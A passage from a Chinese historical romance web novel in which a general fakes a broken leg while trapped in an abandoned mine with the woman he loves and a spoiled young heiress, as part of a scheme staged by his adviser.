她有感觉,机关打开时,那人应是想救人没有躲开。 距苗悦她们约一丈远的地方,燕钊坐在黑暗中,背靠着一块山石。 坠落时,他怕砸到下方的人,在悬空的瞬间本能地往侧壁蹬了一脚,改变了落点。 但落地时,他的左腿恰好踩进了一处窄而深的缝隙,缝隙内壁粗糙,边缘有凸起的棱角,带得人直接坐在了地上。 他试着活动左腿,发现卡得很牢,若想不伤皮肉地抽出,需得用上些硬功巧劲,将边缘的石头稍稍崩开点才行。 好在只是卡住,没有任何疼痛感,他也就放心了,不急着拔腿,先将注意力放到苗悦二人身上。 其实就在那眼熟的烟雾弹扔过来,翻板打开的刹那,他就明白了这是杜言设的局。 利用意外,让他与苗悦单独相处,共同面对困境,互相协助设法脱身。 在这过程中,重新建立起信任。待平安出去时,两人关系自然与之前不同。 这法子倒也不错,不必挑明前事,便有了重新相处的契机,算是从头来过。 而且这处山洞,他很熟。 打下衡州城后,他派人探查周边所有山势,尤其留意矿产资源,因为弩机需用陨铁。 这处便是城外最大的废矿,上下纵深数十米,底下通道如蛛网密布,还有暗河流经。 他曾带亲兵进来探查过,回去后还绘制了简图。 杜言知道他对洞内情形熟悉,故而选此处,必定安全。 燕钊唯一想不通的是,为什么这局里需要塞一个小丫头进来,除了哭和嚷,还能有什么用。 他看得清楚,黑衣人共六个,必定都是他手下,无论是哪六个,他们都不可能失手让旁人也掉进来。 唯一的解释,就是杜言故意将人放进来的。 这老狐狸,到底打的什么算盘。 这是燕钊自掉下来后,一直沉默思索的问题。 杜言让他随机应变,可这第一步的意图他都没想明白,该如何应变。 燕钊的视线穿透黑暗,落在那两个模糊的身影上,眉头微皱。 听到苗悦问起,他将那想不通的事先搁下,应了声:“掉下来了,在你们右后一丈。” 苗悦立刻循声转头,果见一团模糊黑影。 她心中一凛,方才竟完全没察觉此人的存在,可对方却一直清楚她们的位置。 若这人有歹意,她们刚才就危险了。 她按江湖规矩,朝那方向抱了抱拳,尽管对方未必看得清。 “方才多谢壮士援手,只是连累壮士一同陷在此地,实在过意不去。” 孙兰初也忙跟道:“是呀是呀,多谢壮士救命。等我们出去了,我一定让我爹好好报答你。我爹就是城东青柳巷孙家的孙佑安,他可以给你好多好多……” 苗悦眉头一跳,暗自拽了下孙兰初的袖子。 这丫头,一张嘴就要把家底嚷嚷出来了。 燕钊发现,苗悦并未认出他。 想 来也是,此处黑暗,看不清面容,而他现实中的声音,与记忆世界也并非完全相同。 他开口:“路见不平罢了,眼下当务之急,是寻路出去。” “壮士说的是。”苗悦应了一声,站起身,去扶孙兰初,“珠珠,能站起来吗?” “能。”孙兰初借力起身,“就是胳膊疼。” 苗悦在她手臂附近快速摸按了两下,没有剧痛,亦没有太多血迹。 “应该没事。”她看向燕钊方向,“壮士,这附近有水流,多半是暗河,沿着水走,应该能找到出口。” 燕钊知道她说得对,也记得暗河的大致方位。 可此刻,他的左腿还卡在那道缝里。 他应道:“稍等,我的腿……” 苗悦心里咯噔一下,难怪这人一直坐着不动,原来是伤了腿。 若真如此,她带着一个姑娘和一个伤者,在这复杂山洞里寻路,可就棘手多了。 “你的腿怎么了?”她自诩能应付轻度伤势,便朝那人走去。 待走得近了,眼睛已更适应黑暗,那团模糊的影子逐渐有了更清晰的轮廓。 那人靠坐在一块岩石旁,肩背宽阔,一条腿伸直,另一条腿卡在石缝中。他腰间佩着一柄刀,军中制式。 这身形,这佩刀……苗悦的脚步猛地顿住了。 她不敢置信,又向前挪了半步,将那张脸看得更真切些。 在她愣神的功夫,孙兰初也怯生生地凑到苗悦身侧,探着头,借着那点微光费力辨认。 下一刻,她倒抽一口气,震惊地高声呼道:“燕……燕将军?!!” 真的是他。 苗悦全身僵直。 幸好……幸好这里够黑,自己刚刚的失态,他定然看不清。 紧接着,她心底漫开暖意。 危急关头接住她的人,是燕钊,毫不犹豫跟着掉下来的人,也是燕钊。 而且是真实的活生生的燕钊。 她就知道,她看着长大的骨子里带着执拗与责任的少年,底色是不会变的。 苗悦迅速调整了呼吸和表情:“民女初到衡州,从未有幸得见将军真容,方才失礼,还望将军恕罪。” 燕钊默然片刻,淡道:“无妨。” 苗悦看向他的腿,担心道:“你的腿……” 燕钊取下佩刀,带着刀鞘,卡住岩缝边缘,手臂发力,只听轻微咔嚓声,一些碎石滚落在地。 他收回刀,双手抓住小腿,谨慎地将腿从石缝中一点点挪了出来。 因着足够小心,动作又缓,即便石缝边缘尖锐,也不曾刮破皮肤。 只是腿被卡了这片刻,此时血液通畅,便有酸麻之感顺着腿肚子窜了上来。 他维持着单腿曲起的姿势,暗暗活动了一下脚踝,等着那股不适的感觉过去。 这短暂的停顿,落在一直紧盯着他的苗悦眼里,便成了“腿伤严重难以着力”的明证。 洞中太黑,苗悦看不清他具体情形,只能隐约辨出他动作间的那份小心。 她心头发紧,一时情急,忍不住蹲下伸出手,想看看他伤得如何。 燕钊腿并未受伤,见她伸手过来,心下微惊,本能地便要格挡。 但手抬到一半,又硬生生顿住,只将手臂向前递了递,虚虚拦在她腕前,沉声道:“不必。” 苗悦的动作僵住了。 她抬头,昏暗中看不清他脸上神情,只觉那身影坐得笔直,带着一种难以接近的疏离。 是了,她与燕钊,不过是两个陌生人。 她无声地叹了口气,慢慢收回手。 “是民女冒失了。”她顿了顿,终究放心不下,又问,“将军的腿,没事吧?” 孙兰初也屏住了呼吸,她再不懂事,也知在这种情形下,若腿脚不便,会是多大的麻烦。 燕钊听到她声音里那份掩不住的忧虑,心中微微一动。 这感觉让他有片刻的恍惚,也让他想起了杜言交代的“随机应变”。 他低头,看了看自己的左腿,又抬眼,对上苗悦担忧的凝视。 他清了清嗓子:“无事。” 苗悦刚放下心,就听他又接了一句。 “断了而已。”《 》 90-100 第91章 山道上, 十名亲卫围在翻板旁,脸上都是焦急之色。 一人压低声音:“这……还要按原计划进行吗?” 另一人急得跺脚:“计划里可没让孙小姐也掉进去。” “可现在已经这样了……” 正低声争执间,得了消息的杜言骑马赶来, 身后还跟着一辆马车。 马车尚未停稳,孙佑安已跌跌撞撞地冲了下来。 他发髻散乱, 脸色煞白, 目光扫过散架的马车和受伤呻吟的下人, 最后死死盯住了那块地面。 “珠珠!我的珠珠呢?!”他推开试图搀扶的仆人, 踉跄着扑到翻板旁, 双手胡乱拍打着, 声音嘶哑, “珠珠!爹在这儿!你应一声啊!是爹害了你,爹不该让你来的……” 杜言对亲卫使了个眼色。 那亲卫会意,与另一人上前, 一左一右, 半扶半架地将瘫软的孙佑安拉开, 带到平整的地方。 “孙公莫急。这底下不是直上直下的深井,是个斜下去的缓坡, 我们早就勘探过,下面也做了布置, 绝对不会有性命危险。何况我们将军也在下面,定会护着孙小姐的,您放心,放心。” 另一边,杜言沉着脸,将周牧叫到跟前。 “怎么回事?一个小姑娘,你还能让人从你手里跑了?” 周牧的脸红一阵白一阵, 憋了半天,才从牙缝里挤出几个字:“她,她会功夫……” “会功夫?”杜言简直要气笑了,他上下打量着周牧,语带讥诮,“这话你留着,等将军上来,亲口说给他听。” 周牧咬牙攥拳,无论如何也说不出实话。 他们男人打架都不会用这种下流招式,现在的大家闺秀都这样吗。 他沉默几息,猛地抬头:“人在我手里丢的,我去把她找回来。” 杜言问:“你怎么找?” “这矿洞我跟着将军探过,知道里面的路。我从西边那个口子进去,逆着他们的方向走。” 周牧语速很快,越说思路越清晰。 杜言眯眼看了他片刻,又瞥了一眼不远处的孙佑安,脑中迅速权衡了一番。 横竖计划已经出了岔子,未必不能将错就错。 他靠近一步,声音压低:“想办法只将孙小姐一个人带出来。” 周牧点头:“明白。” “去吧。” 周牧抱拳,转身走向自己的马,翻身上去,一扯缰绳,便朝着西边山道打马而去。 杜言这才整理了一下衣袍,脸上重新挂起沉稳可靠的神情,朝孙佑安走去。 孙佑安坐在一块大石上,有仆人递了水,他手抖得厉害,几乎接不住。 杜言在他身旁站住,语气温和笃定,“孙公且宽心,我已派人下去接应了。这矿洞内部,将军早年带人详细勘探过,绘有地图,路径通风暗河走向,皆了然于胸。孙小姐吉人天相,又有将军在侧,断不会有事的。” 孙佑安看着他,嘴唇动了动,眉头紧皱,最后却只发出一声叹息。 女儿生死未卜地困在地底,他满心都是后怕和悔恨,对杜言甚至生出了怨怼,若非他设此局,女儿何至于此。 但杜言是燕钊身边最亲近最倚重的谋士,能替燕钊发号施令。 如今这天下纷纷扰扰,将来是何光景,谁又说得准?燕钊有问鼎的实力,倘若真有那一日,这杜言,便是从龙首功,宰辅之才。 他一个商贾,即便家财万贯,在这等人物面前,又敢表露出来吗? 杜言理解一个父亲此刻的心情,也知道再多劝慰都是徒劳,只待里面的人平安出来,僵局自然迎刃而解。 矿洞里黑乎乎的。 一个娇滴滴受了惊吓的千金小姐,一个断了腿的残疾将军,苗悦自觉担起了主心骨的责任。 她对二人说:“我去探探路。” 孙兰初紧紧抱住她胳膊:“苗姐姐,我要跟你一起。” 燕钊的声音在黑暗中响起:“这矿洞废弃多年,内部纵横交错如迷宫,但实际上出口只有三条。一条是暗河连的水路,没船的话最后只能游出去,另两条不管怎么走,最终都能绕到出口,不必盲目去探。” 他看了一眼自己的“伤腿”,对苗悦说:“你先帮我找几根木棍来。” 既是废弃矿洞,支撑坑道用的木料必然有遗存,运气好些,或许还能找到矿工遗留的零星物品。 苗悦在附近摸索寻找,果然找到了几根长短不一的木棍。 她又借着微弱光线,朝更深处望了望,隐约瞧见两个黑黢黢的洞口,不知通向何方。 “那边有两个洞口。”她抱着木棍走回来,对燕钊道。 “任选一个便是。”燕钊接过木棍,开始挑选。 苗悦说:“处理外伤我有经验,我……” 燕钊挑出四根大小合适的,又撩起外袍下摆,随口道:“不必。” 有经验更不行,一上手就知道真假了。 苗悦念及刚刚他的疏远,不好再说什么,退到后面远远地看着。 燕钊从里衣上撕下几条布,将木棍沿着小腿前后左右围拢,最后用布条缠绕打结,做出固定腿骨的样子。 孙兰初紧紧挨着苗悦,小脸痛苦地皱成一团,表情比燕钊还痛苦。 她扯着苗悦衣袖,将人拉远,小声道:“苗姐姐,我爹说过,骨头断了可疼可疼了,燕将军怎么一声都不吭啊?” 苗悦闻言,心疼不已。 她认识的燕钊,无论多疼,都不会叫出声来。 她低声道:“燕将军是这样的……非常人能比。” 孙兰初又扯了扯苗悦,凑到她耳边嘀咕:“苗姐姐,你说他真的是燕将军吗?” 苗悦微惊:“不是你认出来的吗?” “我只是夏祈节在城隍庙见过他几次。”孙兰初神色纠结,“他们都说燕将军可厉害了,三头六臂似的。可这么矮的一截,咱俩都没摔着,他怎么就把腿给摔断了,是不是……有点笨啊?” 苗悦眉心一跳,立刻纠正:“你看他落地的位置,离我们有些距离,定是在半空设法避开了我们,自己才摔到那乱石缝里。他是为救我们受的伤,这份心意,不可曲解。” 孙兰初点点头,又欢喜道:“燕将军在这里,他的亲兵是不是很快就会找过来?” 苗悦自信道:“有燕将军在,定能平安无事。” 燕钊一边处理“伤口”,一边听着她们嘀嘀咕咕。 这个矿洞虽然路多,但只要不走回头路,一两天时间也就出去了,最多在出口那里再拖上两三日,再长就会惹人怀疑。 怀疑他的属下怎么能这么废物,主公在自家地盘丢了都找不到人。 他边琢磨着边用剩下的布条在一根长木棍顶端缠了几圈,做成了简易拐杖,然后一手撑着石面,一手拄着拐杖,尝试起身。 苗悦下意识上前,伸手欲扶。 指尖将将触及他衣袖,他之前的推拒又撞入脑海,她硬生生将手收回。 燕钊原本见她靠近,心中窃喜,正待顺势将手臂递过去,却见她突然停住,那点期待便落了空。 苗悦语气恭敬克制:“若将军实在不便,不如我先带孙小姐寻路出去,再带人回来接应将军,这样或许能快些。” 燕钊皱眉,先带孙兰初出去?那他这腿岂不是白“断”了,这局还有什么意义? “不可。”他客观地分析,“洞内岔道密如蛛网,一旦分开,极易走散,更为凶险。我们三人一处,彼此照应,方是稳妥。” 他撑着拐杖,调整了一下姿势,“伤腿”虚虚点地。 “走吧,先找到暗河,判断一下方位。” 三人不再多言,开始朝着水声传来的方向移动。 洞内光线很差,脚下时而踩到碎石,发出哗啦声响,时而趟到浅洼,头顶还有水滴落下。 燕钊拄着木拐,走在她俩身后,不紧不慢地跟着。 走了一小段,孙兰初因为紧挨着苗悦,没看自己脚下,踩进了一个浅水坑,哧溜一滑,惊呼出声。 苗悦反应快,立刻伸手将她拉住,两人都踉跄了一下,才勉强稳住。 燕钊手中的木拐已经提了起来,随即想到断腿不能动,人就是一滞,又将木拐重重地顿在了地上,发出一声闷响。 “挨这么近,怎么走路。”他声音不高,但带着惯有的冷硬,“看着脚下。” 孙兰初刚受了惊,心还怦怦跳着,又听到这冷冰冰的训斥,心里更是委屈。 她瘪了瘪嘴,埋怨地看了燕钊一眼,终究没敢顶嘴,默默松开了缠着苗悦的手。 可不过往前走了两步,她又黏了上来,比之前挨得更近。 这洞里,实在太黑了。 燕钊视线比二女略好,不时出声提醒,声音沉稳。 有他在身后,苗悦踏实很多,即便在陌生的黑暗环境,也不觉得慌。 走出不远,苗悦便在石凹里,发现了几样旧物。 几个半旧的油布火折子筒,一个瘪了一半的皮质水囊,虽然旧但没有破还能用,还有一小捆干燥的麻绳,像是矿工撤离时遗弃在此的。 苗悦点开一个火折子,余下的三人分别收着,以防走散后没有东西用。 她又将瘪水囊揣进怀里,打算带到河边清洗。 有了光,孙兰初第一时间查看胳膊上的伤,那里火辣辣的疼。 苗悦小心地卷起她的衣袖,只见大臂外侧擦破了一大片,其中一道划痕较深,边缘微微红肿。 孙兰初哪里受过这种伤,眼圈一红,便抽泣起来。 苗悦道:“没事的,只是皮外伤,几天就好了。” 孙兰初眼泪哗哗地掉:“可是好疼啊……” “一点擦伤,何足挂齿。”一道没什么起伏的声音从旁边传来。 孙兰初的哭声戛然而止,她抬起头,震惊地看着燕钊。 从小到大,她何曾被人用这种口气说过。 刚刚这人就已经凶过她一次。她看在对方是城主的份上,忍了。这才多一会儿,又来。 孙兰初忍不下去了。 “谁让你看的,男女授受不亲,你不知道啊。”她转向苗悦,哭道,“苗姐姐!” 孙兰初是苗悦此行的雇主,更是她的小金主,还是为救她才掉进来的。 苗悦立刻扭头,对燕钊正色道:“女儿家的肌肤本就娇嫩,这伤看着不重,但若不好生处理,也是有可能留疤的。” “留疤?”孙兰初惊恐地瞪大眼睛,“我娘说,女孩子身上不能有疤的,有了疤就嫁不出去了。” 苗悦忙又转过来安抚她,柔声道:“你这伤的位置,在手臂外侧,就算真有点印子,不细看也是瞧不见的。” 燕钊被那哭声搅得心烦,别过脸去,不耐道:“容貌美丑,皆是皮下白骨。只因一道疤便弃你者,不要也罢。” 孙兰初噎得一口气没上来,又委屈又气恼:“苗姐姐!你看他!他咒我嫁不出去!” 苗悦轻拍她手背:“我们珠珠这么好,心地善良,模样又俊,怎会嫁不出去?快别哭了,眼睛肿了不好看。燕将军的意思是,真正的好儿郎,更看重姑娘的品性,不会只重皮相。” 她说着,转头 剜了燕钊一眼。 “燕将军,孙小姐年幼,骤然受此惊吓,情绪不稳,于行路无益。眼下最要紧的,是齐心寻路出洞。还请将军暂歇金口,让她定定神。” 燕钊对上她的视线,嘴唇抿紧了,将所有的话都咽了回去,扭头看向别处,算是应了。 孙兰初仍有担忧,不安地问:“苗姐姐,真的不会留疤吗?” 苗悦道:“你要是信我就别哭了,咱们赶紧出去,找最好的大夫,用最好的药,一点印子都不会留。” 孙兰初将信将疑,但眼泪总算收住了些。 她紧紧挽着苗悦的胳膊,贴在她身侧,亦步亦趋地跟着,一副受了天大委屈,离了苗悦就活不了的模样。 燕钊拄着拐跟在她们身后,面色阴沉地看着前面两个几乎黏在一起的身影,眉头皱的能夹死苍蝇。 他的腿都“断”了。那位置,那距离,应该是他的。 杜言到底在搞什么,非要塞个丫头片子进来! 第92章 火折子的光勉强撑开一小片模糊的亮。水声是唯一的指引, 时而清晰,时而渺茫。 孙兰初抱着苗悦的胳膊,每一步都踩得小心翼翼。 走了不知多久, 前方出现了一个岔路口,水声在这里变得含糊, 仿佛两条路都通。 苗悦举高火折子, 细细照过两个洞口, 看不出分别。她转头, 看向燕钊。 燕钊侧耳凝神听了片刻, 朝左边通道抬了抬下巴:“这边。” 孙兰初悄悄攥紧了苗悦, 声音压得低低的:“苗姐姐, 你觉得走哪边?” 哪怕身边是声名显赫的大将军,孙千金还是更信苗姐姐。 苗悦回握她的手:“燕将军说这边,就这边。” 她率先迈步, 朝左边通道走去。 孙兰初无法, 只得跟上, 嘴里还忍不住嘀咕了一句:“可别带错了路……” 左边的通道比先前更窄,有些地方需要侧身挤过, 岩壁湿滑,渗着水, 寒意更重。 孙兰初走得磕磕绊绊,既要防着脚下,又要避开头顶的石锥,一路低呼不断。 又走了一段,水声变得清晰实在起来。拐过一个急弯,眼前豁然开朗。 一个不算小的地下洞穴出现在面前。 两丈宽的河流横贯而过,河水泛着幽幽的光, 安静地流淌,看不出深浅,只听得潺潺水声。脚下是碎石滩,靠近水边的石头被冲刷得光滑。 “找到了!”孙兰初惊喜地低呼,一直紧绷的肩膀终于松了松。 苗悦也舒了口气。 有活水,至少饮水暂时不用愁了。 她举着火折子,照了照四周。 洞穴穹顶很高,隐在火光够不到的黑暗里。对岸似乎还有别的洞口,黑黢黢的。 燕钊走到一块离水边稍远的大石旁,将拐杖靠在一边,倚坐下来,视线不自觉地跟随着苗悦。 苗悦走到河边,仔细查看水流。河水看起来还算清澈。 她掬起一捧水尝了尝。冰冰凉凉,带着点石土气,没什么怪味,可以喝。 刚才护着孙兰初侧身挤过窄道时,她的手背在粗糙岩壁上重重蹭过,留下几道浅浅的口子。当时没觉得怎样,现下碰了水,倒泛起一阵细密的刺疼。 她看到自己手腕上的“悬丝探囊”腕扣。 在记忆世界里,燕钊多次制作以这个腕扣为蓝本的暗器,虽然与她手上的不完全相同,但样式终究类似。 苗悦想了想,还是转过身去,背对着燕钊,解下腕扣,塞进衣袋内侧,藏好。 做完这些,她拿出之前捡到的旧水囊,用河水将外壁搓洗了几遍,然后打开塞子,将里面也灌满水,用力晃荡,涮了几涮,再将水倒掉。 如此反复几次,才接满了水,走向孙兰初。 水面反光,这里比通道内要亮堂些。 孙兰初正蹲在水边,努力用手指梳理着蓬乱的头发。 “珠珠,先喝点水。”苗悦将水囊递过去。 孙兰初早就又渴又累,立刻接过,仰头就灌了好几大口,又将水囊递还给苗悦,转头对着水面继续整理。 “幸好我的脸没有擦破。”她嘟哝着。 苗悦接过水囊,又用清水里外冲洗了一遍,重新灌满,朝燕钊走去。 孙兰初眼角余光瞥见,嘴巴撇撇,暗自嘀咕,那么大个人,腿瘸了,手也断了么,还要苗姐姐专门送水过去。 燕钊的视线始终在苗悦身上,从未移开。 这是他第一次,在如此近的距离,如此真实的情境下,长久地看着她。 记忆里的影子是模糊的,而眼前这个人,每一个动作都清晰具体。 他近乎贪婪地观察着她,自动屏蔽了周围的一切。 照顾人时细致耐心,面对困境沉着坚韧,做事有条不紊,笑起来姣美生动,沉默时微微抿唇,这一切都与记忆世界中零碎的印象无声重叠。 是她,没有错。 燕钊心底最后那点躁意,缓缓沉了下去。 只要有她在,无论多么糟糕的境遇,无论多么黑暗的地方,都变得温暖明亮起来。 苗悦走到燕钊身边,将水囊递过去。 燕钊没接,看向她:“你喝过了?” “你们先喝,就一个水囊,轮着用吧。” 燕钊示意:“你先喝。” 苗悦见他坚持,觉得也不是什么需要推让的事,便仰头喝了好几口,喝完准备去河边再冲洗一下。 燕钊手一伸,将水囊从她手中抽了过去,一口气喝光。 苗悦微怔,随即想到,自己这些天照顾孙兰初,处处细致惯了,一时倒忘了,像燕钊这种行伍之人,没有那么多讲究。 燕钊喝罢,将水囊还给苗悦。 苗悦接过,扭头看了一眼仍在专注整理发髻的孙兰初,然后向前凑近了两步,低声道:“燕将军,与你商量个事。” 燕钊垂眸:“何事?” 苗悦道:“珠珠年纪小,性子娇弱,这洞底路途难行,后面可能还会有波折,若她情绪不稳需要安抚时,你能不能稍微忍耐些,不要与她计较。” 燕钊淡道:“我帐下最小的兵卒只有十岁,箭伤深可见骨,也没见掉一滴泪。” 苗悦语气平静:“珠珠是闺阁弱质,不曾经历风雨。你用治兵的标准来要求她,太过苛求。” 燕钊道:“那就不与我军中士卒比,与你比,你也不过大她几岁。” 苗悦失笑:“我跟她能一样吗?” “有什么不一样?”燕钊看着她,“她好日子过得太多了?” 苗悦忽然发现,现实中的燕钊,比记忆世界的要更愤世嫉俗些。 难道这就是有她陪伴成长的燕钊,和没有她独自长大的燕钊,之间的差异? 她顿了顿:“她命比我好,就这么简单。即便将军再看不惯她,也请暂且忍耐。” 燕钊问:“她与你是什么关系,需要你这般照顾?” “她是我的雇主,我便要护她周全。不止是性命,心绪安宁也在其中。况且,她受我连累才掉进来,我自然该好言安抚。” “你这雇主,未免太娇惯了些。胳膊划破了,你该教她如何止血如何忍耐,而非一味哄劝。日后若真遇到危险,她那般心性如何自处。” 苗悦张了张嘴,本想反驳“并非人人都如将军这般能忍耐”,但话到嘴边又咽了回去。 与燕钊争论这个,他未必能理解。 她沉默片刻,换了一种语气。 “我与珠珠相识不足一个月,已从孙公那里领到了五十余两银钱,这还不算珠珠平日随手赠我的银饰。这趟送她去祖母庄子,再陪她回来,中间还能在庄上清闲几日,孙公应承的酬劳是一百两。” 她抬眼,看向燕钊:“我这么说,你……将军能明白了吧。我是不是该对她多些纵容,多些照拂?” 燕钊看着她,没说话。 苗悦见他抿唇不语,以为他无言以对了,心下微定,转身便要去寻孙兰初。 “你帐算得倒是清楚。”燕钊的声音响起,“那你自己呢?” 苗悦一怔,回头看他。 “她花一百两,买你哄她扶她背她。”他看着她,“你这几个时辰,又摔又拽,膝盖磕了几次,手背划了几道,该算多少?” 苗悦下意识遮住手背的伤处,表情有些茫然。 这时,水边的孙兰初“呀”地叫了一声。 苗悦微惊,以为她出了什么事,顾不上燕钊,快步走过去:“怎么了?” 孙兰初捧着一块湿漉漉的石头。 “苗姐姐,你看。”孙兰初将那石头举给苗悦,声音兴奋,“这石头会闪,亮晶晶的。” 苗悦看了看,是块含有云母的矿石,不算稀奇,只是在水里泡得久了,表面滑润,偶有反光。 她点了点头:“确实挺好看的,把它收好,出去寻个匠人,磨一磨,打个孔,做个坠子什么的。” 孙兰初得了肯定,更是高兴,用袖子擦了擦石头上的水,将它塞进随身的小荷包里。 短暂的休整后,三人重新上路。 苗悦和燕钊之间,气氛和之前有些不同,但这不同很细微,孙兰初丝毫没有察觉。 他们沿着暗河下游走。河水时而漫过了脚面,必须涉水前行。 水很冰,刺骨得冷,孙兰初不停地吸气,苗悦不得不抓着她的胳膊。 有些地方通道很低,必须弯腰才能通过,湿冷 的苔藓蹭过脸颊,滑腻腻的。 苗悦带孙兰初通过,又回身去扶燕钊,发现他就在自己身后,虽然挂着木拐,走得却不慢。 道路崎岖,体力消耗得很快。 孙兰初又冷又饿,脚步越来越拖沓,呼吸又急又浅,带着点抽噎声,几乎是被苗悦半拉半扶着往前挪。 苗悦自己也累了。她扶着孙兰初的手臂绷得很紧,呼吸加重。 燕钊跟在她们后面,看着苗悦一次又一次地拽起几乎要蹲下的孙兰初,看着她侧脸上清晰的疲惫。 他原本想着,不急,可以走慢些,让这路再长些。 可现在,那心思,忽然就淡了,散了。 算了。他想。等离开矿洞,立刻把信号烟放出去。 三人又走了许久,前方出现岔路。 一条路继续沿着水边,虽然湿滑,但路面相对平坦开阔。另一侧,在比河岸高出约一人多的石壁上,裂着两个洞口,洞口不大,需要攀爬几步才能上去,看着就比下面难行。 燕钊在岔路口停下。 “这是最后一个岔口,我们必须选一条路。”他指了指河道前方,“河道不能再走了,前面会变窄,若是下雨涨水,这段路会被淹没,到时候只能游出去。上面这两个是旱道,通着不同的出口。” 苗悦心算,从掉下来到现在,走了怕是有大半天,外面天恐怕都黑了。 她抬头看了看那两个高处的洞口,问燕钊:“若是走上面,以我们现在的脚程,多久能出去?” 燕钊沉吟片刻:“按现在的速度,大概三个时辰。” 苗悦心一沉。 三个时辰,那就是还要走将近六个小时。珠珠现在的状态,怕是撑不住。 苗悦看向脸色煞白靠在她身上的孙兰初, “珠珠,你还走得动吗?要不要在这里歇一夜,明日再走?” “我不要!”孙兰初猛地摇头,哭了起来,“我要回家!苗姐姐,我要回家……” 苗悦道:“好,那我们走上面,你要爬上去。” “可是下面明明更好走……”孙兰初抽泣着,眼神在下面平坦的河道和上面陡峭的洞口之间来回看,显然怕极了攀爬。 燕钊看着孙兰初那副样子,心中掠过一丝烦躁。 就在这时,有人声传来。 “将军,是你们吗?” 紧接着,一道人影从左侧洞口探出,手中举着一支燃着的火把,照亮了下方一小片区域,映出了一张年轻的脸。 燕钊抬头。 “周牧。”他眯起眼,嘴角几乎要压不住,用下巴朝孙兰初点了点,“来得正好。快把她拎上去。”—— 作者有话说:明天周三,休息一天 第93章 周牧从洞口跃下, 一眼看见燕钊的伤腿。 他脸色骤变,几步抢上前,急道:“将军, 你的腿……” “无事。”燕钊打断他,抬手在他肩上拍了拍, 目光极快地朝苗悦扫了一下。 周牧瞬间收声, 视线逡巡了一个来回, 神色变幻, 最终归于平静。 他后退半步, 抱拳道:“属下奉命前来, 迎将军与二位姑娘。” 他说着, 从背上取下一个不大的包袱:“我怕一时半刻找不到将军,特意带了些干粮下来。饿的话可以先吃点。” 苗悦心头掠过极淡的怪异感。 这个周牧,似乎对找到他们, 表现得太理所当然, 太顺畅了, 也太有准备了些。 但没等她细想,孙兰初已经眼睛发光地凑了上去。 “是什么好吃的?我快饿扁了。” 周牧将包袱摊开, 里面是几块硬邦邦的糙面饼子。 孙兰初脸上的期待瞬间消散,毫不掩饰的嫌弃道:“我不吃这个, 我要回家。” 周牧没有燕钊的定力,做不到面无表情,暗自朝天翻眼皮。 苗悦道:“既然已经接上人了,还是尽快出去,出去再吃。” 周牧看向燕钊。燕钊点点头,接过他手里的火把。 “此处陡峭,周牧你先背孙小姐上去。” 孙兰初愣了, 下意识看向苗悦,脸有点红:“苗姐姐,男女授受不亲……” 苗悦劝道:“珠珠,非常时期,安全第一,顾不得那许多。你看看这个高度,你自己能上去吗?” 孙兰初抬头望了望一人多高的陡壁,老老实实摇头:“上不去。” 周牧心里其实也不太乐意。 这孙家小姐看着娇娇弱弱,人畜无害的样子,其实下手没轻没重的。 但军令在身,他面上不显,只道:“孙公正在崖上等着小姐。” 孙兰初一听爹爹也来了,心也急了,扭扭捏捏地趴到周牧背上。 周牧将包袱塞到苗悦手里,道了声“小心”,便背着孙兰初,几下蹬踏,攀上了洞口。 他让孙兰初先进去,自己也跟着钻入,然后探出头来,喊道:“将军,你们也上来吧。” 燕钊抬眼,朝他点点头。 周牧飞快地眨了两下眼睛。 苗悦担心燕钊,问:“你的腿能行吗?要不,也让他下来背你吧。” 燕钊收回目光,道:“这点高度,没腿都上得去。你先上。” 苗悦看他神色自若,不似逞强,便点了点头。 她走到岩壁下,正要寻个着力点,忽听头顶上方传来一阵不祥的轰隆声,紧接着是周牧一声大喝:“小心!” 燕钊手疾眼快,抓住苗悦肩膀将人往后带。 只听“哗啦”一阵乱响,大小石块夹杂着尘土,从周牧和孙兰初进去的洞口上方簌簌滚落,转眼间将那洞口堵了个严实。 碎石落定,尘土未散,周牧焦急的声音从洞口后面隐约传来,带着点闷响。 “将军,这边通道上头不太稳,一直落土石,末将先带孙小姐从这边出去。您再另寻出路吧。” 喊完这一句,那边便再无回应,只隐约听到孙兰初渐渐远去的哭声。 苗悦站在燕钊身前,警惕地等待了片刻,四周再无异响,岩壁也未见有崩落的迹象。 这洞穴,依然稳固。 苗悦紧绷的身体松弛下来。 这一松弛,她才忽然感觉到,自己的后背正贴着燕钊的胸膛。 她记得碎石滚落时,燕钊拉了她一把,到底怎么就帖到他身上了,苗悦不知道。 她下意识低头,确认自己没有碰到他的伤腿。 她往旁边迈了一步,拉开两人距离,看向堵住的洞口。 “珠珠不会有事吧?” “周牧也来过这矿洞,人也可靠,有他带着,不会有事的。” 苗悦视线平移:“看来我们只能走另一条路了。” 燕钊道:“先吃点东西吧,再往前,未必能有水源了。” “也好。” 周牧虽然走了,但他留下了火把和食物,而且还带走了孙兰初。 苗悦心里其实是轻松不少的。 燕钊找到一块平坦干燥的石头,将火把插到石缝中。 那石头足够两个人坐下,还略有富余。 他看向苗悦,用目光示意了一下。 苗悦在石头的一端坐下,刻意留出了中间一截明显的空位。她拢了拢有些散乱的鬓发,目光投向不远处的水面。 燕钊在另一端坐下。两人之间隔着一臂的距离,不远不近。 糙面饼很干,硬邦邦的,燕钊将它掰开,将中间稍软的部分递向苗悦。 苗悦道谢接过,小口咬了,慢慢濡湿,再费力咽下。 孙兰初一走,洞里立刻显得空旷而寂静,只剩下水声潺潺,和他们细微的咀嚼声。 黑暗和寂静笼罩下来,感官变得异常清晰。 苗悦甚至能听到自己有些快的心跳,还有旁边人身上传来的源源不断的暖意。 “手还疼吗?” 燕钊的声音忽然响起,不高,却格外清晰。 苗悦愣了一下,才反应过来他问的是什么。 “不疼了。”她缩了缩手,又觉得这动作有些刻意,便停住了,低声补了一句,“小伤, 不碍事。” 燕钊没再说话,只是又掰了一块饼,递给她。 两人默默地分食着难以下咽的干粮。 “不好吃吧?”燕钊问。 苗悦道:“……还行。” 燕钊道:“军中急就,能饱腹就行。不过,这饼若用羊油炙烤,就着热汤,倒能入口。也有士兵会将这饼捣碎了,混着野菜一起煮,煮成了粥,一锅可管多人。这些都算是比较精细的吃法。” 苗悦好奇地问:“不精细的是怎么吃?像我们这样?” 燕钊道:“生粟米混着雪水,囫囵吞下,才是真的不精细。” 苗悦道:“我看这种饼和胡饼有些像,用炭火慢慢烘软,外皮就脆了。再抹上腐乳,或是夹片卤肉,滋味应该还不错。衡州这边的人喜欢在饼里加梅干菜,我试过,烤后也是别有风味。” 燕钊道:“梅干菜?就是那种腌菜?我来衡州几年,还没吃过。” 